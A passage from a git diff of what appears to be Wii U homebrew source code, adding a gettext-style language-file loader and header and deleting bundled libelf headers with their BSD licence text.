+        MSG *nextMsg = baseMSG->next;
+        free(baseMSG->msgstr);
+        free(baseMSG);
+        baseMSG = nextMsg;
+    }
+}
+
+extern "C" BOOL gettextLoadLanguage(const char* langFile) {
+    char *lastID = NULL;
+    gettextCleanUp();
+
+    CFile file(langFile, CFile::ReadOnly);
+    if (!file.isOpen())
+        return false;
+
+    std::string strBuffer;
+    strBuffer.resize(file.size());
+    file.read((uint8_t *) &strBuffer[0], strBuffer.size());
+    file.close();
+
+    //! remove all windows crap signs
+    size_t position;
+    while(1) {
+        position = strBuffer.find('\r');
+        if(position == std::string::npos)
+            break;
+
+        strBuffer.erase(position, 1);
+    }
+
+    std::vector<std::string> lines = StringTools::stringSplit(strBuffer, "\n");
+
+
+    if(lines.empty())
+        return false;
+
+    for(unsigned int i = 0; i < lines.size(); i++) {
+        std::string & line = lines[i];
+        // lines starting with # are comments
+        if (line[0] == '#')
+            continue;
+        else if (strncmp(line.c_str(), "msgid \"", 7) == 0) {
+            char *msgid, *end;
+            if (lastID) {
+                free(lastID);
+                lastID = NULL;
+            }
+            msgid = &line[7];
+            end = strrchr(msgid, '"');
+            if (end && end - msgid > 1) {
+                *end = 0;
+                lastID = strdup(msgid);
+            }
+        } else if (strncmp(line.c_str(), "msgstr \"", 8) == 0) {
+            char *msgstr, *end;
+
+            if (lastID == NULL) continue;
+
+            msgstr = &line[8];
+            end = strrchr(msgstr, '"');
+            if (end && end - msgstr > 1) {
+                *end = 0;
+                setMSG(lastID, msgstr);
+            }
+            free(lastID);
+            lastID = NULL;
+        }
+
+    }
+    return true;
+}
+
+extern "C" const char *gettext(const char *msgid) {
+    if(!msgid) return NULL;
+    MSG *msg = findMSG(hash_string(msgid));
+    if (msg && msg->msgstr) return msg->msgstr;
+    return msgid;
+}
+
diff --git a/src/myutils/mem_utils.h b/src/language/gettext.h
similarity index 63%
rename from src/myutils/mem_utils.h
rename to src/language/gettext.h
index bf7d7b9..4a5bded 100644
--- a/src/myutils/mem_utils.h
+++ b/src/language/gettext.h
@@ -1,5 +1,5 @@
 /****************************************************************************
- * Copyright (C) 2018 Maschell
+ * Copyright (C) 2015 Dimok
  *
  * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -14,19 +14,31 @@
  * You should have received a copy of the GNU General Public License
  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  ****************************************************************************/
-#ifndef __MEMORY_UTILS_UTILS_H_
-#define __MEMORY_UTILS_UTILS_H_
+#ifndef _GETTEXT_H_
+#define _GETTEXT_H_
 
-class MemoryUtils {
-public:
-    static void init();
+#include <wut_types.h>
 
-    static void* alloc(uint32_t size, int32_t align);
-
-    static void free(void * ptr);
-private:
-    MemoryUtils() {}
-    ~MemoryUtils() {}
-
-};
+#ifdef __cplusplus
+extern "C"
+{
 #endif
+
+#define tr(s) gettext(s)
+#define trNOOP(s) s
+
+BOOL gettextLoadLanguage(const char* langFile);
+void gettextCleanUp(void);
+/*
+ * input msg = a text in ASCII
+ * output = the translated msg in utf-8
+ */
+const char *gettext(const char *msg);
+#define tr(s) gettext(s)
+#define trNOOP(s)   s
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _GETTEXT_H_ */
diff --git a/src/libelf/_elftc.h b/src/libelf/_elftc.h
deleted file mode 100644
index 1ba316e..0000000
--- a/src/libelf/_elftc.h
+++ /dev/null
@@ -1,430 +0,0 @@
-/*-
- * Copyright (c) 2009 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: _elftc.h 2495 2012-04-23 05:31:56Z jkoshy $
- */
-
-/**
- ** Miscellanous definitions needed by multiple components.
- **/
-
-#ifndef	_ELFTC_H
-#define	_ELFTC_H
-
-#ifndef	NULL
-#define NULL 	((void *) 0)
-#endif
-
-#ifndef	offsetof
-#define	offsetof(T, M)		((int) &((T*) 0) -> M)
-#endif
-
-/* --QUEUE-MACROS-- [[ */
-
-/*
- * Supply macros missing from <sys/queue.h>
- */
-
-/*
- * Copyright (c) 1991, 1993
- *	The Regents of the University of California.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 3. Neither the name of the University nor the names of its contributors
- *    may be used to endorse or promote products derived from this software
- *    without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#ifndef	STAILQ_CONCAT
-#define	STAILQ_CONCAT(head1, head2) do {			\
-	if (!STAILQ_EMPTY((head2))) {				\
-		*(head1)->stqh_last = (head2)->stqh_first;	\
-		(head1)->stqh_last = (head2)->stqh_last;	\
-		STAILQ_INIT((head2));				\
-	}							\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	STAILQ_EMPTY
-#define	STAILQ_EMPTY(head)	((head)->stqh_first == NULL)
-#endif
-
-#ifndef	STAILQ_ENTRY
-#define	STAILQ_ENTRY(type)					\
-struct {							\
-	struct type *stqe_next;	/* next element */		\
-}
-#endif
-
-#ifndef	STAILQ_FIRST
-#define	STAILQ_FIRST(head)	((head)->stqh_first)
-#endif
-
-#ifndef	STAILQ_HEAD
-#define	STAILQ_HEAD(name, type)					\
-struct name {							\
-	struct type *stqh_first; /* first element */		\
-	struct type **stqh_last; /* addr of last next element */ \
-}
-#endif
-
-#ifndef	STAILQ_HEAD_INITIALIZER
-#define	STAILQ_HEAD_INITIALIZER(head)				\
-	{ NULL, &(head).stqh_first }
-#endif
-
-#ifndef	STAILQ_FOREACH
-#define	STAILQ_FOREACH(var, head, field)			\
-	for ((var) = ((head)->stqh_first);			\
-		(var);						\
-		(var) = ((var)->field.stqe_next))
-#endif
-
-#ifndef	STAILQ_FOREACH_SAFE
-#define STAILQ_FOREACH_SAFE(var, head, field, tvar)		\
-       for ((var) = STAILQ_FIRST((head));			\
-	    (var) && ((tvar) = STAILQ_NEXT((var), field), 1);	\
-	    (var) = (tvar))
-#endif
-
-#ifndef	STAILQ_INIT
-#define	STAILQ_INIT(head) do {					\
-	(head)->stqh_first = NULL;				\
-	(head)->stqh_last = &(head)->stqh_first;		\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	STAILQ_INSERT_HEAD
-#define	STAILQ_INSERT_HEAD(head, elm, field) do {			\
-	if (((elm)->field.stqe_next = (head)->stqh_first) == NULL)	\
-		(head)->stqh_last = &(elm)->field.stqe_next;		\
-	(head)->stqh_first = (elm);					\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	STAILQ_INSERT_TAIL
-#define	STAILQ_INSERT_TAIL(head, elm, field) do {			\
-	(elm)->field.stqe_next = NULL;					\
-	*(head)->stqh_last = (elm);					\
-	(head)->stqh_last = &(elm)->field.stqe_next;			\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	STAILQ_INSERT_AFTER
-#define	STAILQ_INSERT_AFTER(head, listelm, elm, field) do {		\
-	if (((elm)->field.stqe_next = (listelm)->field.stqe_next) == NULL)\
-		(head)->stqh_last = &(elm)->field.stqe_next;		\
-	(listelm)->field.stqe_next = (elm);				\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	STAILQ_LAST
-#define STAILQ_LAST(head, type, field)					\
-	(STAILQ_EMPTY((head)) ?					\
-	    NULL : ((struct type *)(void *)				\
-	    ((char *)((head)->stqh_last) - offsetof(struct type, field))))
-#endif
-
-#ifndef	STAILQ_NEXT
-#define	STAILQ_NEXT(elm, field)	((elm)->field.stqe_next)
-#endif
-
-#ifndef	STAILQ_REMOVE
-#define	STAILQ_REMOVE(head, elm, type, field) do {			\
-	if ((head)->stqh_first == (elm)) {				\
-		STAILQ_REMOVE_HEAD((head), field);			\
-	} else {							\
-		struct type *curelm = (head)->stqh_first;		\
-		while (curelm->field.stqe_next != (elm))		\
-			curelm = curelm->field.stqe_next;		\
-		if ((curelm->field.stqe_next =				\
-			curelm->field.stqe_next->field.stqe_next) == NULL) \
-			    (head)->stqh_last = &(curelm)->field.stqe_next; \
-	}								\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	STAILQ_REMOVE_HEAD
-#define	STAILQ_REMOVE_HEAD(head, field) do {				\
-	if (((head)->stqh_first = (head)->stqh_first->field.stqe_next) == \
-	    NULL)							\
-		(head)->stqh_last = &(head)->stqh_first;		\
-} while (/*CONSTCOND*/0)
-#endif
-
-#ifndef	TAILQ_FOREACH_SAFE
-#define TAILQ_FOREACH_SAFE(var, head, field, tvar)                      \
-	for ((var) = TAILQ_FIRST((head));                               \
-	    (var) && ((tvar) = TAILQ_NEXT((var), field), 1);            \
-	    (var) = (tvar))
-#endif
-
-/* ]] --QUEUE-MACROS-- */
-
-/*
- * VCS Ids.
- */
-
-#ifndef	ELFTC_VCSID
-
-#if defined(GEKKO)
-#define ELFTC_VCSID(ID) /**/
-#endif
-
-#if defined(__wiiu__)
-#define ELFTC_VCSID(ID) /**/
-#endif
-
-#if defined(__DragonFly__)
-#define	ELFTC_VCSID(ID)		__RCSID(ID)
-#endif
-
-#if defined(__FreeBSD__)
-#define	ELFTC_VCSID(ID)		__FBSDID(ID)
-#endif
-
-#if defined(__linux__) || defined(__GNU__) || defined(__GLIBC__)
-#if defined(__GNUC__)
-#define	ELFTC_VCSID(ID)		__asm__(".ident\t\"" ID "\"")
-#else
-#define	ELFTC_VCSID(ID)		/**/
-#endif
-#endif
-
-#if defined(__minix)
-#if defined(__GNUC__)
-#define	ELFTC_VCSID(ID)		__asm__(".ident\t\"" ID "\"")
-#else
-#define	ELFTC_VCSID(ID)		/**/
-#endif	/* __GNU__ */
-#endif
-
-#if defined(__NetBSD__)
-#define	ELFTC_VCSID(ID)		__RCSID(ID)
-#endif
-
-#if defined(__OpenBSD__)
-#if defined(__GNUC__)
-#define	ELFTC_VCSID(ID)		__asm__(".ident\t\"" ID "\"")
-#else
-#define	ELFTC_VCSID(ID)		/**/
-#endif	/* __GNUC__ */
-#endif
-
-#endif	/* ELFTC_VCSID */
-
-/*
- * Provide an equivalent for getprogname(3).
- */
-
-#ifndef	ELFTC_GETPROGNAME
-
-#if defined(__DragonFly__) || defined(__FreeBSD__) || defined(__minix) || \
-    defined(__NetBSD__)
-
-#include <stdlib.h>
-
-#define	ELFTC_GETPROGNAME()	getprogname()
-
-#endif	/* __DragonFly__ || __FreeBSD__ || __minix || __NetBSD__ */
-
-
-#if defined(__GLIBC__)
-
-/*
- * GLIBC based systems have a global 'char *' pointer referencing
- * the executable's name.
- */
-extern const char *program_invocation_short_name;
-
-#define	ELFTC_GETPROGNAME()	program_invocation_short_name
-
-#endif	/* __GLIBC__ */
-
-
-#if defined(__OpenBSD__)
-
-extern const char *__progname;
-
-#define	ELFTC_GETPROGNAME()	__progname
-
-#endif	/* __OpenBSD__ */
-
-#endif	/* ELFTC_GETPROGNAME */
-
-
-/**
- ** Per-OS configuration.
- **/
-
-#if defined(GEKKO)
-
-#include <sys/param.h>
-
-#define	ELFTC_BYTE_ORDER			BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		BIG_ENDIAN
-
-#define roundup(x, y) ((((x) + ((y) - 1)) / (y)) * (y))
-#define	roundup2	roundup
-
-#define	ELFTC_HAVE_MMAP				0
-#define	ELFTC_HAVE_STRMODE			0/
-#define ELFTC_NEED_BYTEORDER_EXTENSIONS		1
-
-#endif
-
-#if defined(__wiiu__)
-
-#include <sys/param.h>
-
-#define	ELFTC_BYTE_ORDER			BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		BIG_ENDIAN
-
-#define roundup(x, y) ((((x) + ((y) - 1)) / (y)) * (y))
-#define	roundup2	roundup
-
-#define	ELFTC_HAVE_MMAP				0
-#define	ELFTC_HAVE_STRMODE			0/
-#define ELFTC_NEED_BYTEORDER_EXTENSIONS		1
-
-#endif
-
-
-#if defined(__DragonFly__)
-
-#include <osreldate.h>
-#include <sys/endian.h>
-
-#define	ELFTC_BYTE_ORDER			_BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		_LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		_BIG_ENDIAN
-
-#define	ELFTC_HAVE_MMAP				1
-
-#endif
-
-#if defined(__GLIBC__)
-
-#include <endian.h>
-
-#define	ELFTC_BYTE_ORDER			__BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		__LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		__BIG_ENDIAN
-
-#define	ELFTC_HAVE_MMAP				1
-
-/*
- * Debian GNU/Linux and Debian GNU/kFreeBSD do not have strmode(3).
- */
-#define	ELFTC_HAVE_STRMODE			0
-
-/* Whether we need to supply {be,le}32dec. */
-#define ELFTC_NEED_BYTEORDER_EXTENSIONS		1
-
-#define	roundup2	roundup
-
-#endif	/* __GLIBC__ */
-
-
-#if defined(__FreeBSD__)
-
-#include <osreldate.h>
-#include <sys/endian.h>
-
-#define	ELFTC_BYTE_ORDER			_BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		_LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		_BIG_ENDIAN
-
-#define	ELFTC_HAVE_MMAP				1
-#define	ELFTC_HAVE_STRMODE			1
-#if __FreeBSD_version <= 900000
-#define	ELFTC_BROKEN_YY_NO_INPUT		1
-#endif
-#endif	/* __FreeBSD__ */
-
-
-#if defined(__minix)
-#define	ELFTC_HAVE_MMAP				0
-#endif	/* __minix */
-
-
-#if defined(__NetBSD__)
-
-#include <sys/param.h>
-#include <sys/endian.h>
-
-#define	ELFTC_BYTE_ORDER			_BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		_LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		_BIG_ENDIAN
-
-#define	ELFTC_HAVE_MMAP				1
-#define	ELFTC_HAVE_STRMODE			1
-#if __NetBSD_Version__ <= 599002100
-/* from src/doc/CHANGES: flex(1): Import flex-2.5.35 [christos 20091025] */
-/* and 5.99.21 was from Wed Oct 21 21:28:36 2009 UTC */
-#  define ELFTC_BROKEN_YY_NO_INPUT		1
-#endif
-#endif	/* __NetBSD __ */
-
-
-#if defined(__OpenBSD__)
-
-#include <sys/param.h>
-#include <sys/endian.h>
-
-#define	ELFTC_BYTE_ORDER			_BYTE_ORDER
-#define	ELFTC_BYTE_ORDER_LITTLE_ENDIAN		_LITTLE_ENDIAN
-#define	ELFTC_BYTE_ORDER_BIG_ENDIAN		_BIG_ENDIAN
-
-#define	ELFTC_HAVE_MMAP				1
-#define	ELFTC_HAVE_STRMODE			1
-
-#define	ELFTC_NEED_BYTEORDER_EXTENSIONS		1
-#define	roundup2	roundup
-
-#endif	/* __OpenBSD__ */
-
-#endif	/* _ELFTC_H */
diff --git a/src/libelf/_libelf.h b/src/libelf/_libelf.h
deleted file mode 100644
index f8cfd01..0000000
--- a/src/libelf/_libelf.h
+++ /dev/null
@@ -1,223 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: _libelf.h 2365 2011-12-29 04:36:44Z jkoshy $
- */
-
-#ifndef	__LIBELF_H_
-#define	__LIBELF_H_
-
-#include <sys/queue.h>
-
-#include "_libelf_config.h"
-
-#include "_elftc.h"
-
-/*
- * Library-private data structures.
- */
-
-#define LIBELF_MSG_SIZE	256
-
-struct _libelf_globals {
-	int		libelf_arch;
-	unsigned int	libelf_byteorder;
-	int		libelf_class;
-	int		libelf_error;
-	int		libelf_fillchar;
-	unsigned int	libelf_version;
-	char		libelf_msg[LIBELF_MSG_SIZE];
-};
-
-extern struct _libelf_globals _libelf;
-
-#define	LIBELF_PRIVATE(N)	(_libelf.libelf_##N)
-
-#define	LIBELF_ELF_ERROR_MASK			0xFF
-#define	LIBELF_OS_ERROR_SHIFT			8
-
-#define	LIBELF_ERROR(E, O) (((E) & LIBELF_ELF_ERROR_MASK) |	\
-	((O) << LIBELF_OS_ERROR_SHIFT))
-
-#define	LIBELF_SET_ERROR(E, O) do {					\
-		LIBELF_PRIVATE(error) = LIBELF_ERROR(ELF_E_##E, (O));	\
-	} while (0)
-
-#define	LIBELF_ADJUST_AR_SIZE(S)	(((S) + 1U) & ~1U)
-
-/*
- * Flags for library internal use.  These use the upper 16 bits of the
- * `e_flags' field.
- */
-#define	LIBELF_F_API_MASK	0x00FFFF  /* Flags defined by the API. */
-#define	LIBELF_F_AR_HEADER	0x010000  /* translated header available */
-#define	LIBELF_F_AR_VARIANT_SVR4 0x020000 /* BSD style ar(1) archive */
-#define	LIBELF_F_DATA_MALLOCED	0x040000 /* whether data was malloc'ed */
-#define	LIBELF_F_RAWFILE_MALLOC	0x080000 /* whether e_rawfile was malloc'ed */
-#define	LIBELF_F_RAWFILE_MMAP	0x100000 /* whether e_rawfile was mmap'ed */
-#define	LIBELF_F_SHDRS_LOADED	0x200000 /* whether all shdrs were read in */
-#define	LIBELF_F_SPECIAL_FILE	0x400000 /* non-regular file */
-
-struct _Elf {
-	int		e_activations;	/* activation count */
-	unsigned int	e_byteorder;	/* ELFDATA* */
-	int		e_class;	/* ELFCLASS*  */
-	Elf_Cmd		e_cmd;		/* ELF_C_* used at creation time */
-	int		e_fd;		/* associated file descriptor */
-	unsigned int	e_flags;	/* ELF_F_* & LIBELF_F_* flags */
-	Elf_Kind	e_kind;		/* ELF_K_* */
-	Elf		*e_parent; 	/* non-NULL for archive members */
-	char		*e_rawfile;	/* uninterpreted bytes */
-	size_t		e_rawsize;	/* size of uninterpreted bytes */
-	unsigned int	e_version;	/* file version */
-
-	/*
-	 * Header information for archive members.  See the
-	 * LIBELF_F_AR_HEADER flag.
-	 */
-	union {
-		Elf_Arhdr	*e_arhdr;	/* translated header */
-		char		*e_rawhdr;	/* untranslated header */
-	} e_hdr;
-
-	union {
-		struct {		/* ar(1) archives */
-			off_t	e_next;	/* set by elf_rand()/elf_next() */
-			int	e_nchildren;
-			char	*e_rawstrtab;	/* file name strings */
-			size_t	e_rawstrtabsz;
-			char	*e_rawsymtab;	/* symbol table */
-			size_t	e_rawsymtabsz;
-			Elf_Arsym *e_symtab;
-			size_t	e_symtabsz;
-		} e_ar;
-		struct {		/* regular ELF files */
-			union {
-				Elf32_Ehdr *e_ehdr32;
-				Elf64_Ehdr *e_ehdr64;
-			} e_ehdr;
-			union {
-				Elf32_Phdr *e_phdr32;
-				Elf64_Phdr *e_phdr64;
-			} e_phdr;
-			STAILQ_HEAD(, _Elf_Scn)	e_scn;	/* section list */
-			size_t	e_nphdr;	/* number of Phdr entries */
-			size_t	e_nscn;		/* number of sections */
-			size_t	e_strndx;	/* string table section index */
-		} e_elf;
-	} e_u;
-};
-
-/*
- * The internal descriptor wrapping the "Elf_Data" type.
- */
-struct _Libelf_Data {
-	Elf_Data	d_data;		/* The exported descriptor. */
-	Elf_Scn		*d_scn;		/* The containing section */
-	unsigned int	d_flags;
-	STAILQ_ENTRY(_Libelf_Data) d_next;
-};
-
-struct _Elf_Scn {
-	union {
-		Elf32_Shdr	s_shdr32;
-		Elf64_Shdr	s_shdr64;
-	} s_shdr;
-	STAILQ_HEAD(, _Libelf_Data) s_data;	/* translated data */
-	STAILQ_HEAD(, _Libelf_Data) s_rawdata;	/* raw data */
-	STAILQ_ENTRY(_Elf_Scn) s_next;
-	struct _Elf	*s_elf;		/* parent ELF descriptor */
-	unsigned int	s_flags;	/* flags for the section as a whole */
-	size_t		s_ndx;		/* index# for this section */
-	uint64_t	s_offset;	/* managed by elf_update() */
-	uint64_t	s_rawoff;	/* original offset in the file */
-	uint64_t	s_size;		/* managed by elf_update() */
-};
-
-
-enum {
-	ELF_TOFILE,
-	ELF_TOMEMORY
-};
-
-#define	LIBELF_COPY_U32(DST,SRC,NAME)	do {		\
-		if ((SRC)->NAME > UINT_MAX) {		\
-			LIBELF_SET_ERROR(RANGE, 0);	\
-			return (0);			\
-		}					\
-		(DST)->NAME = (SRC)->NAME;		\
-	} while (0)
-
-#define	LIBELF_COPY_S32(DST,SRC,NAME)	do {		\
-		if ((SRC)->NAME > INT_MAX ||		\
-		    (SRC)->NAME < INT_MIN) {		\
-			LIBELF_SET_ERROR(RANGE, 0);	\
-			return (0);			\
-		}					\
-		(DST)->NAME = (SRC)->NAME;		\
-	} while (0)
-
-
-/*
- * Function Prototypes.
- */
-
-struct _Libelf_Data *_libelf_allocate_data(Elf_Scn *_s);
-Elf	*_libelf_allocate_elf(void);
-Elf_Scn	*_libelf_allocate_scn(Elf *_e, size_t _ndx);
-Elf_Arhdr *_libelf_ar_gethdr(Elf *_e);
-Elf	*_libelf_ar_open(Elf *_e, int _reporterror);
-Elf	*_libelf_ar_open_member(int _fd, Elf_Cmd _c, Elf *_ar);
-int	_libelf_ar_get_member(char *_s, size_t _sz, int _base, size_t *_ret);
-Elf_Arsym *_libelf_ar_process_bsd_symtab(Elf *_ar, size_t *_dst);
-Elf_Arsym *_libelf_ar_process_svr4_symtab(Elf *_ar, size_t *_dst);
-unsigned long _libelf_checksum(Elf *_e, int _elfclass);
-void	*_libelf_ehdr(Elf *_e, int _elfclass, int _allocate);
-int	_libelf_falign(Elf_Type _t, int _elfclass);
-size_t	_libelf_fsize(Elf_Type _t, int _elfclass, unsigned int _version,
-    size_t count);
-int	(*_libelf_get_translator(Elf_Type _t, int _direction, int _elfclass))
-	    (char *_dst, size_t dsz, char *_src, size_t _cnt, int _byteswap);
-void	*_libelf_getphdr(Elf *_e, int _elfclass);
-void	*_libelf_getshdr(Elf_Scn *_scn, int _elfclass);
-void	_libelf_init_elf(Elf *_e, Elf_Kind _kind);
-int	_libelf_load_section_headers(Elf *e, void *ehdr);
-int	_libelf_malign(Elf_Type _t, int _elfclass);
-Elf	*_libelf_memory(char *_image, size_t _sz, int _reporterror);
-size_t	_libelf_msize(Elf_Type _t, int _elfclass, unsigned int _version);
-void	*_libelf_newphdr(Elf *_e, int _elfclass, size_t _count);
-Elf	*_libelf_open_object(int _fd, Elf_Cmd _c, int _reporterror);
-struct _Libelf_Data *_libelf_release_data(struct _Libelf_Data *_d);
-Elf	*_libelf_release_elf(Elf *_e);
-Elf_Scn	*_libelf_release_scn(Elf_Scn *_s);
-int	_libelf_setphnum(Elf *_e, void *_eh, int _elfclass, size_t _phnum);
-int	_libelf_setshnum(Elf *_e, void *_eh, int _elfclass, size_t _shnum);
-int	_libelf_setshstrndx(Elf *_e, void *_eh, int _elfclass,
-    size_t _shstrndx);
-Elf_Data *_libelf_xlate(Elf_Data *_d, const Elf_Data *_s,
-    unsigned int _encoding, int _elfclass, int _direction);
-int	_libelf_xlate_shtype(uint32_t _sht);
-
-#endif	/* __LIBELF_H_ */
diff --git a/src/libelf/_libelf_ar.h b/src/libelf/_libelf_ar.h
deleted file mode 100644
index d6b15a7..0000000
--- a/src/libelf/_libelf_ar.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/*-
- * Copyright (c) 2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: _libelf_ar.h 2032 2011-10-23 09:07:00Z jkoshy $
- */
-
-#ifndef	__LIBELF_AR_H_
-#define	__LIBELF_AR_H_
-
-/*
- * Prototypes and declarations needed by libelf's ar(1) archive
- * handling code.
- */
-
-#include <ar.h>
-
-#define	LIBELF_AR_BSD_EXTENDED_NAME_PREFIX	"#1/"
-#define	LIBELF_AR_BSD_SYMTAB_NAME		"__.SYMDEF"
-#define	LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE	\
-	(sizeof(LIBELF_AR_BSD_EXTENDED_NAME_PREFIX) - 1)
-
-#define	IS_EXTENDED_BSD_NAME(NAME)				\
-	(strncmp((NAME), LIBELF_AR_BSD_EXTENDED_NAME_PREFIX,	\
-	 LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE) == 0)
-
-
-char	*_libelf_ar_get_string(const char *_buf, size_t _sz, int _rawname,
-    int _svr4names);
-char	*_libelf_ar_get_raw_name(const struct ar_hdr *_arh);
-char	*_libelf_ar_get_translated_name(const struct ar_hdr *_arh, Elf *_ar);
